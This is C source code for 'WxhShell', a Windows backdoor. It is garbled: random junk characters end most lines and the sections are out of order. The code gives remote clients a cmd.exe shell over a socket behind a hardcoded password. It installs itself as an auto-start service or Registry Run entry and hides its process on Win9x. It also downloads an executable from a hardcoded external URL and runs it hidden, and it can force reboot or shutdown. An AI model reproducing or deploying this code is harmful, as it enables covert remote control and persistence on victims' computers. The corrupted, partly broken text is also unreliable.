    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )p!.V( ,  
    if(Boot(SHUTDOWN)) OLs<]0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-ZTl4j$  
    else { 3GVS-?  
    closesocket(wsh); yhG%@vSq  
    ExitThread(0); odsLFU(  
    } ,6AnuA  
    break; %`)lCK)2  
    } VAnP3:  
  // 获取shell -~=?g9fGm6  
  case 's': { (T 8In  
    CmdShell(wsh); _-c1" Kl  
    closesocket(wsh); unD.t  
    ExitThread(0); |D1:~z  
    break; a4E{7c  
  } iRK&-wn  
  // 退出 Xt9vTCox  
  case 'x': { tRu j}n+x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uy98lv  
    CloseIt(wsh); @t{`KB+ ^  
    break; "OWW -m  
    }  hSgH;k  
  // 离开 e]DuV)k&  
  case 'q': { Bj*\)lG<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qac8zt#2 C  
    closesocket(wsh); {v>8Kp7_R  
    WSACleanup(); GJTakhj3  
    exit(1); P1qQ)-J  
    break; aGbHDo  
        } !))!! {  
  } Hn sPXF'8g  
  } K=N8O8R$y  
t/B4?A@C  
  // 提示信息 Vf#g~IOI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o*sss  
} [!ilcHE)  
  } &qyXi[vw  
?"-1QG  
  return; Ny` =]BA  
} 1EAQ ~S!2  
;6}> Shs  
// shell模块句柄 1uco{JX<S  
int CmdShell(SOCKET sock) ifI0s)Pn  
{ Dt:NBN  
STARTUPINFO si; SbXV'&M2AT  
ZeroMemory(&si,sizeof(si)); KD^n7+w%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @fh:lsw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LMHii Os,  
PROCESS_INFORMATION ProcessInfo; ~+S,`8-P  
char cmdline[]="cmd"; DI0Wk^m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a&Z;$  
  return 0; K,5_{pj  
} ^I:f4RWo  
~A03J:Yc7  
// 自身启动模式 /{>_'0  
int StartFromService(void) :j&-Lc  
{ e4LJ3y&z"  
typedef struct p1!-|Sqq  
{ vI \8@97  
  DWORD ExitStatus; Av>xgfX  
  DWORD PebBaseAddress; I_5[-9  
  DWORD AffinityMask; M4)Y%EPc  
  DWORD BasePriority; `l?(zy:R  
  ULONG UniqueProcessId; Ejt?B')aB5  
  ULONG InheritedFromUniqueProcessId; A_g\Fa[jG  
}   PROCESS_BASIC_INFORMATION; lS{ ^*(a  
~FnuO!C  
PROCNTQSIP NtQueryInformationProcess; $EG9V++b3  
9_x rw:4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {J*|)-eAw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Z<|L^  
5;@2SY7 ,  
  HANDLE             hProcess; js;k,`  
  PROCESS_BASIC_INFORMATION pbi;  N<~LgH  
6%Pvh- ~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U8OVn(qV  
  if(NULL == hInst ) return 0; \ 0/m$V.  
3?Fe( !@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q}gM2Ia'vY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L~("C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M'nzoRk  
%$'Z"njO&  
  if (!NtQueryInformationProcess) return 0; E<'V6T9bi  
5}TTf2&Xo#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "Pl.G[Buc-  
  if(!hProcess) return 0; U;#G $  
($Q|9>5,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [&pMU)   
HdRwDW@7=  
  CloseHandle(hProcess); #xh M&X  
cb }OjM F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j [4l'8Ek  
if(hProcess==NULL) return 0; Ui'*$W]v  
?OFfU  4  
HMODULE hMod; |]eWO#vs  
char procName[255]; U>0bgL  
unsigned long cbNeeded; y*!8[wASHq  
l p|`n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qNWSDZQ  
5a|{ytP   
  CloseHandle(hProcess); =klfCFwP  
DD}YbuO7  
if(strstr(procName,"services")) return 1; // 以服务启动 #xw3a<z?u  
K=> j+a5$  
  return 0; // 注册表启动 kG u{[Rh  
} C8%MKNPd  
,V[|c$  
// 主模块 ]fSpG\yU  
int StartWxhshell(LPSTR lpCmdLine) e_}tK1XY  
{ |3BxNFe`%  
  SOCKET wsl; xAr&sGMA  
BOOL val=TRUE; )JhB!P(  
  int port=0; $!^C|,CS  
  struct sockaddr_in door; +5Ju `Z  
U$WGe >,  
  if(wscfg.ws_autoins) Install();  S8O,{  
%WPy c%I  
port=atoi(lpCmdLine); ;Kh?iq n^  
qfqL"G  
if(port<=0) port=wscfg.ws_port; 8x-(7[#e<g  
j!"5, ~  
  WSADATA data; <8^ws90Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 p ,HkV  
F{Oaxn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W4(GI]`_+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6Zx5^f(qd  
  door.sin_family = AF_INET; ~-UO^$M-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h:i FLSf  
  door.sin_port = htons(port); &t6:1T  
:mhO/Bx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i,rX. K}X  
closesocket(wsl); `A<2wd;  
return 1; , [<$X{9  
} QZJnb%]  
.\ :MB7p  
  if(listen(wsl,2) == INVALID_SOCKET) { rDGrq9  
closesocket(wsl); VAA="yN  
return 1; Qe_C^ (P  
} Rh%@N.Z*  
  Wxhshell(wsl); z:=E- +  
  WSACleanup(); In8{7&iVO  
(gIFuOGi>  
return 0; Jp= )L  
7g:Lj,Z4L  
} Awr(}){  
+No` 89Y  
// 以NT服务方式启动 G8'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JvNd'u)Z<  
{ 5n1`$T.WG  
DWORD   status = 0; G @EEh.s9  
  DWORD   specificError = 0xfffffff; "{kE#`c6<n  
o#WECs>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7}e5ac  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NKTy!zWh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6n~)R  
  serviceStatus.dwWin32ExitCode     = 0; +VL:O]`DJ  
  serviceStatus.dwServiceSpecificExitCode = 0; }2S)CL=  
  serviceStatus.dwCheckPoint       = 0; Yhjv[9  
  serviceStatus.dwWaitHint       = 0; (EjlnG}5l  
Jp|eKZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *9|p}q9n  
  if (hServiceStatusHandle==0) return; !tb!%8{~  
=uEpeL~d;+  
status = GetLastError(); F'CJN$6Mw/  
  if (status!=NO_ERROR) YW"uC\kg|  
{ /%gMzF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4iZg2"[D  
    serviceStatus.dwCheckPoint       = 0; [WV&Y,E  
    serviceStatus.dwWaitHint       = 0; ]68 FGH  
    serviceStatus.dwWin32ExitCode     = status; p'6XF{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zrj#4 E1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0|C !n+OK  
    return; fs-LaV 0  
  } tx)$4v  
ya[f? 0b0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *.KVrS<B1  
  serviceStatus.dwCheckPoint       = 0; FHEP/T\5  
  serviceStatus.dwWaitHint       = 0; 3177R>0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j-VwY/X  
} UZ "!lpg  
sbhzER  
// 处理NT服务事件,比如:启动、停止 [rW];H8:~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T8%!l40v  
{ EhW"s%Q  
switch(fdwControl) Lf%=vd  
{ dp&G([  
case SERVICE_CONTROL_STOP: Zz+v3o0  
  serviceStatus.dwWin32ExitCode = 0; QcJC:sP\>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C%{2 sMJz  
  serviceStatus.dwCheckPoint   = 0; 78 ]Kv^l^_  
  serviceStatus.dwWaitHint     = 0; ;?q}98-2  
  { < Wp)Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \3"B$Sp|=  
  } Vw.)T/B_D  
  return; G B"Orm.  
case SERVICE_CONTROL_PAUSE: !"&-k:|g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z30 mk  
  break; |=KzQY|u  
case SERVICE_CONTROL_CONTINUE: f=VlO d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 EfBz  
  break; :RxMZwa=  
case SERVICE_CONTROL_INTERROGATE: iX<" \pV  
  break; wwQ2\2w>Hm  
}; NHe)$%a=H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); byMy- v;  
} )l.uj  
*j,bI Y&se  
// 标准应用程序主函数 )=`DEbT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `'>~(8&zE  
{ R eb.x_  
Q1ayd$W@<  
// 获取操作系统版本 <mj/P|P@  
OsIsNt=GetOsVer(); l9OpaOVfJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dsn=fht  
m*CW3y{n)  
  // 从命令行安装 ^fH)E"qq5  
  if(strpbrk(lpCmdLine,"iI")) Install(); d{t@+}0.u  
pzoh9}bue  
  // 下载执行文件 ]9)iBvQlj  
if(wscfg.ws_downexe) { #sBL E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 eu7&Kj'  
  WinExec(wscfg.ws_filenam,SW_HIDE); _}ii1fLv  
} H9i7y,[*  
5j$&Zgx51  
if(!OsIsNt) { r!O[|h  
// 如果时win9x,隐藏进程并且设置为注册表启动 !M`.(sO]  
HideProc(); kPiY|EH  
StartWxhshell(lpCmdLine); mEu2@3^E }  
} N ~fE&@-  
else i*$~uuY  
  if(StartFromService()) =wW M\f`=  
  // 以服务方式启动 |=0w_)Fa]  
  StartServiceCtrlDispatcher(DispatchTable); </@5>hx/  
else x DN u'  
  // 普通方式启动 j@^zK!mO  
  StartWxhshell(lpCmdLine); $Dx*[.M3>  
zi_$roq=)  
return 0; ARt{ 2|  
} 8 hhMuh  
z5 @i"%f  
_+nk3-yQw  
Tx]p4wY:D  
=========================================== :uB?h1|  
b 9"t%R9/Q  
UN F\k1[  
^Ifm1$X}  
U<Qi`uoj!  
BD;T>M  
" cWZ uph\  
tm1&OY  
#include <stdio.h> 54JZOtC3~  
#include <string.h> F?"Gln~;  
#include <windows.h> n4M Xa()P1  
#include <winsock2.h> 3e47UquZ  
#include <winsvc.h> d>W#c8X>  
#include <urlmon.h> {.p;V  
?U[6X| 1  
#pragma comment (lib, "Ws2_32.lib") %&VI-7+K  
#pragma comment (lib, "urlmon.lib") (n~fe-?}8  
Y\WVkd(+G  
#define MAX_USER   100 // 最大客户端连接数 lY(_e#  
#define BUF_SOCK   200 // sock buffer >ov#\  
#define KEY_BUFF   255 // 输入 buffer * ?~"Jw  
n7G`b'  
#define REBOOT     0   // 重启 s$qc &  
#define SHUTDOWN   1   // 关机 q :~/2<o  
oNw=O>v  
#define DEF_PORT   5000 // 监听端口 Lu:*nJ%1[  
.0RQbc9  
#define REG_LEN     16   // 注册表键长度 W)J5[p?  
#define SVC_LEN     80   // NT服务名长度 P0(LdZH6u  
@1&"S7@}u  
// 从dll定义API tU2#Z=a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'J-a2oiM(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m;hp1VO)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &+A78I   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I{>Z0+  
:_:)S  
// wxhshell配置信息 %72(gR2Wa2  
struct WSCFG { 8>LDo"<  
  int ws_port;         // 监听端口 M% Rr=  
  char ws_passstr[REG_LEN]; // 口令 ]+m 2pEO  
  int ws_autoins;       // 安装标记, 1=yes 0=no U1Fo #L  
  char ws_regname[REG_LEN]; // 注册表键名 >i  >|]  
  char ws_svcname[REG_LEN]; // 服务名 8#tuB8>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KS$"Re$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r-L& ee   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ayg^<)JWh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SCe$v76p#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r-xP 6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lw}7kp4 2F  
E R~RBzp  
}; G~bDl:k`A  
O CIoY?a  
// default Wxhshell configuration yocFdI  
struct WSCFG wscfg={DEF_PORT, 4e eh+T  
    "xuhuanlingzhe", 3(|,:"9g  
    1, $N}t)iA  
    "Wxhshell", ~/)]`w  
    "Wxhshell", dI%ho<zm]  
            "WxhShell Service", m a@V>*u  
    "Wrsky Windows CmdShell Service", #qF 1z}L(  
    "Please Input Your Password: ", =Hn--DEMg  
  1, r)Lm| S  
  "http://www.wrsky.com/wxhshell.exe", .I_<\h7  
  "Wxhshell.exe" 5p}j{f  
    }; _>;MQ)Km~  
1 hFh F^  
// 消息定义模块 |ka/5o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1W\wIj.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `{h)-Y``  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1P1h);*Z  
char *msg_ws_ext="\n\rExit."; |39,n~"o&  
char *msg_ws_end="\n\rQuit."; -P|claO0  
char *msg_ws_boot="\n\rReboot..."; W^xO/xu1 /  
char *msg_ws_poff="\n\rShutdown..."; [xrsa!$   
char *msg_ws_down="\n\rSave to "; 7}~w9jK"F  
[ 't.x=  
char *msg_ws_err="\n\rErr!"; yhbU;qEG9  
char *msg_ws_ok="\n\rOK!"; Jq(;BJ90R  
5Rs#{9YE  
char ExeFile[MAX_PATH]; Z'2AsT  
int nUser = 0; $57Q g1v  
HANDLE handles[MAX_USER]; -ZSN0Xk  
int OsIsNt; N6u>V~i  
@#N7M2/  
SERVICE_STATUS       serviceStatus; w|S b`eR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #|(>UM\  
Z : xb8]y  
// 函数声明 G'}N?8s1  
int Install(void); dL'oKh,  
int Uninstall(void); I;E?;i  
int DownloadFile(char *sURL, SOCKET wsh); d_pIB@J  
int Boot(int flag); .*9u_2<  
void HideProc(void); ,"gPd!HD (  
int GetOsVer(void); u=W[ S)w  
int Wxhshell(SOCKET wsl); Dqc GzTz  
void TalkWithClient(void *cs); 46e?%0(  
int CmdShell(SOCKET sock); G,$nq4  
int StartFromService(void); : -#w  
int StartWxhshell(LPSTR lpCmdLine); uF}dEDB|;  
S ;rd0+J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! M CV@5$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uo2k  
:*|Ua%L_  
// 数据结构和表定义 4TPdq&';C:  
SERVICE_TABLE_ENTRY DispatchTable[] = 9D M,,h<`  
{ m> P\}A^N  
{wscfg.ws_svcname, NTServiceMain}, 9{Etv w  
{NULL, NULL} RC1bTM  
}; u<fZ.1  
> K,QP<B  
// 自我安装 Jh&DL8`  
int Install(void) M@h"FuX:  
{ :n{{\SSIgX  
  char svExeFile[MAX_PATH]; D^m2iW;  
  HKEY key; 9oGcbD4*  
  strcpy(svExeFile,ExeFile); s K+uwt  
=:w,wI.  
// 如果是win9x系统,修改注册表设为自启动 F_R\  
if(!OsIsNt) { &@CUxK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wn.6l `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u*=^>LD  
  RegCloseKey(key); kw2yb   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M$@~|pQ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )LKJfoo PY  
  RegCloseKey(key); cf"&22TQ+Z  
  return 0; E%D.a=UX,  
    } ?K:\WW  
  } 0ElEaH1z  
} -`\^_nVC  
else { G93V=Bk=  
YQHpW>z  
// 如果是NT以上系统,安装为系统服务 ^c}3o|1m(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N1c 0>{  
if (schSCManager!=0) s6!&4=ZA  
{ "~ $i#  
  SC_HANDLE schService = CreateService [[<TW}  
  ( :*]#n  
  schSCManager, XK/l1E3N  
  wscfg.ws_svcname, nyR<pnuC'  
  wscfg.ws_svcdisp, 62'9lriQ  
  SERVICE_ALL_ACCESS, >I~Q[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Jw*T[E  
  SERVICE_AUTO_START, Fs4shrt  
  SERVICE_ERROR_NORMAL, N_B^k8j  
  svExeFile, q|]CA  
  NULL, >M{98NH  
  NULL, 'R-\6;3E>9  
  NULL, `~=z0I  
  NULL, w{[^  
  NULL FqbGT(QB0  
  ); aBaiXv/*  
  if (schService!=0) }F.k,2  
  { ^8 ,prxaok  
  CloseServiceHandle(schService); %au>D  
  CloseServiceHandle(schSCManager); O-UA2?N@j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;DnUeE8  
  strcat(svExeFile,wscfg.ws_svcname); vI(LIfe;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dz/@]a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1DAU *^-  
  RegCloseKey(key); LB]3-FsU+  
  return 0; K O\HH  
    } +l)t5Mg\  
  } JS m7-p|E  
  CloseServiceHandle(schSCManager); 0H4|}+e  
} )Z/w|5<  
} P nE7}  
9{A4>  
return 1; $#5 'c+0  
} aL&egM*  
psIo[.$rTk  
// 自我卸载 Y0lLO0'  
int Uninstall(void) 4V,p\$;  
{ hwe6@T.#  
  HKEY key; 7Rtjm  
6g#yzex  
if(!OsIsNt) { 7.G"U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SODHn9)  
  RegDeleteValue(key,wscfg.ws_regname); .,qh,m\Fo  
  RegCloseKey(key); %2I>-0]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MLTS<pW/  
  RegDeleteValue(key,wscfg.ws_regname); gS[B;+d  
  RegCloseKey(key); ;g#nGs>  
  return 0; 7w9'x Y  
  } tx<^PV2  
} hVB(*WA^D  
} s92ol0`  
else {  9Ca0Tu  
7DK}c]js  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RaSuzy^`*]  
if (schSCManager!=0) -UidU+ES;  
{ 0 !%G #~th  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %?+Lkj&  
  if (schService!=0) ! a\v)R  
  { zTMLE~w  
  if(DeleteService(schService)!=0) { &Lzd*}7  
  CloseServiceHandle(schService); T'lycc4~a  
  CloseServiceHandle(schSCManager); SOsz=bVx  
  return 0; (m! kg  
  } uc"%uc'  
  CloseServiceHandle(schService); Ue;Z)}  
  } (r?hD*2r  
  CloseServiceHandle(schSCManager); @IbZci)1  
}  H6nH  
} Y$,~"$su|  
v36Z*I6)5  
return 1; x 4LPrF1  
}  ^ b5+A6?  
Io IhQ  
// 从指定url下载文件 <uFj5.  
int DownloadFile(char *sURL, SOCKET wsh) R%}<z*~NE@  
{ n ei0LAD  
  HRESULT hr; g&w~eWpk  
char seps[]= "/"; G~&8/ s  
char *token; 58HAl_8W  
char *file; =IX-n$d`>  
char myURL[MAX_PATH]; $i<+O,@-  
char myFILE[MAX_PATH]; Q{=r9&&  
38X{>*  
strcpy(myURL,sURL); =w!9:I&a0  
  token=strtok(myURL,seps); SnUR?k1  
  while(token!=NULL) #d[Nm+~ko  
  { 9L-jlAo<  
    file=token; 1]0;2THx  
  token=strtok(NULL,seps); ~$^ >Vo  
  } c}S<<LR  
+C7W2!I[G2  
GetCurrentDirectory(MAX_PATH,myFILE); l+y;>21sTu  
strcat(myFILE, "\\"); sb_/FE5e  
strcat(myFILE, file); cg]Gt1SU  
  send(wsh,myFILE,strlen(myFILE),0); -\%5aXr  
send(wsh,"...",3,0); (4q/LuP^d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j$6Q]5KdoS  
  if(hr==S_OK) ,2FI?}+R  
return 0; iE;F=Rb  
else oVp/EQ  
return 1; rzie_)a Y%  
2)$-L'YS  
} jFKp~`/#  
(#85<|z  
// 系统电源模块 6Xo"?f  
int Boot(int flag) 1K|F;p  
{ x{ `{j'  
  HANDLE hToken; g<^A(zM  
  TOKEN_PRIVILEGES tkp; |Axbx?  
~bzac2Rp  
  if(OsIsNt) { *m>[\)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^gyI-S(;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BaP'y8dVN  
    tkp.PrivilegeCount = 1; tG9C(D`G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &F7_0iA P(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =)jo}MB  
if(flag==REBOOT) { }|8^+V&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6~{'\Z  
  return 0; "G*$#  
} S"^'ksL\  
else { jd5kkX8=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sieC7raO  
  return 0; E&t8nlTx  
} Fx1FxwIJ  
  } d5 {=<j  
  else { hRB?NM  
if(flag==REBOOT) { T?Z&\g0yp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ()t~X Q  
  return 0; ='1hvv/  
} j bT{K|d-  
else { 5"1wz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _e8v12s  
  return 0; Hc|cA(9sh9  
} )OQ<H.X  
} ?0sTx6x@  
GCr]x '  
return 1; n?D/bXp  
} ?5};ONjN  
#J5_z#-Q;  
// win9x进程隐藏模块 KMqGWO*  
void HideProc(void) !vK0|eV3  
{ >6WZSw/Hq  
?D9iCP~~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hG<[F@d  
  if ( hKernel != NULL ) -nUK%a"(D  
  { b-@9Xjv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lq.2vfA>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 14uv[z6  
    FreeLibrary(hKernel); f2Xn!]o  
  } ~@@$-,}X   
@6R6.i5d  
return; p9\*n5{  
} IW@phKz  
x11riK  
// 获取操作系统版本 j5/|1N  
int GetOsVer(void) ;iJxJX\+  
{ !.pcldx  
  OSVERSIONINFO winfo; } C/+zF6q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h|Qb:zEP,  
  GetVersionEx(&winfo); O<@L~S]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,(sE|B#s  
  return 1; `]4(Z"R  
  else cZoj|=3a  
  return 0; grkA2%N  
} ]8$H'u(C  
&AeNrtGu  
// 客户端句柄模块 jRDvVV/-wr  
int Wxhshell(SOCKET wsl) %{^|Av1Uz  
{ R/E6n &R  
  SOCKET wsh; 'YbE%i}  
  struct sockaddr_in client; {+{p.  
  DWORD myID; xA2I+r*o  
Q]K$yo  
  while(nUser<MAX_USER) (=1zMZ o  
{  nsV=  
  int nSize=sizeof(client); DNqC*IvuzM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fF#Fc&B  
  if(wsh==INVALID_SOCKET) return 1; ;GOu'34j  
[C;Neslo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XUUP#<,s  
if(handles[nUser]==0) BjTgZ98J  
  closesocket(wsh); 8~RJnwF^  
else H*f2fyC1\  
  nUser++; kou7_4oS  
  } 8s[1-l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -lv(@7o~  
$XkO\6kh  
  return 0; gyh8  
} V=1zk-XC  
|:2B)X  
// 关闭 socket fWri7|"0h  
void CloseIt(SOCKET wsh) tgl 4pAc  
{ k w   
closesocket(wsh); O kT@ _U  
nUser--; ]Z85%q^`  
ExitThread(0); B~& }Mv  
} *|C vK&7  
-rgdKA@)(  
// 客户端请求句柄 yUxz,36wZ  
void TalkWithClient(void *cs) Q^@7Yg@l  
{ N@!PhP  
Ix@B*Xz:`  
  SOCKET wsh=(SOCKET)cs; gsa@ci  
  char pwd[SVC_LEN]; G'dN<Nw6  
  char cmd[KEY_BUFF]; :mf&,?  
char chr[1]; /PR 4ILed  
int i,j; oj'YDQ^uj  
O?A%  
  while (nUser < MAX_USER) { ^si[L52BZ  
!V/7q'&t=  
if(wscfg.ws_passstr) { 2:nI4S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w5/6+@}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [>3dhj[;  
  //ZeroMemory(pwd,KEY_BUFF); vW?/:  
      i=0; @B(E&  
  while(i<SVC_LEN) { F :Ps>  
!su773vo  
  // 设置超时 V3a6QcG  
  fd_set FdRead; Bx$?*y&f!v  
  struct timeval TimeOut; UM]3MS:[  
  FD_ZERO(&FdRead); 1 Qz@  
  FD_SET(wsh,&FdRead); G^dzE/ :  
  TimeOut.tv_sec=8; Z d@B6R  
  TimeOut.tv_usec=0; E?BF8t_fTE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y(?SE< 4R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |68/FJZ,5  
-O-?hsV)y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g4+Hq *  
  pwd=chr[0]; .ns=jp  
  if(chr[0]==0xd || chr[0]==0xa) { :^>&t^E  
  pwd=0; u5KAwMw%Q  
  break; # kNp);  
  } 8?: 2<  
  i++; +|5 O b  
    } .4$F~!aj9  
[*0M$4  
  // 如果是非法用户,关闭 socket 8HIX$OX>2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $}z/BV1I  
} Wyeb1  
qZ@d:u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mieyL9*n7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "^wIoJ6H'  
m!P<# |V  
while(1) { @'?gan#(  
a69e^;,>q  
  ZeroMemory(cmd,KEY_BUFF); $MfRw  
 ?<8c  
      // 自动支持客户端 telnet标准   \n^[!e"`  
  j=0; pFwJ:  
  while(j<KEY_BUFF) { 0]=Bqyg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g)|vS>^~  
  cmd[j]=chr[0]; k"/Rjd(;  
  if(chr[0]==0xa || chr[0]==0xd) { 9e vQQN6D|  
  cmd[j]=0; )N1iGJO)  
  break; v '^}zO  
  } Sl<1Rme=w  
  j++; AP1ZIc6  
    } Z'}%Mkm`i}  
ozl!vf# kv  
  // 下载文件 ;vX1U8  
  if(strstr(cmd,"http://")) {  M}@>h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |k%1mE(+=s  
  if(DownloadFile(cmd,wsh)) 5 ddfdIp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ld/6{w4ir  
  else ~%f$}{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9d(#/n  
  } hdSP#Y'-  
  else { cx&\oP  
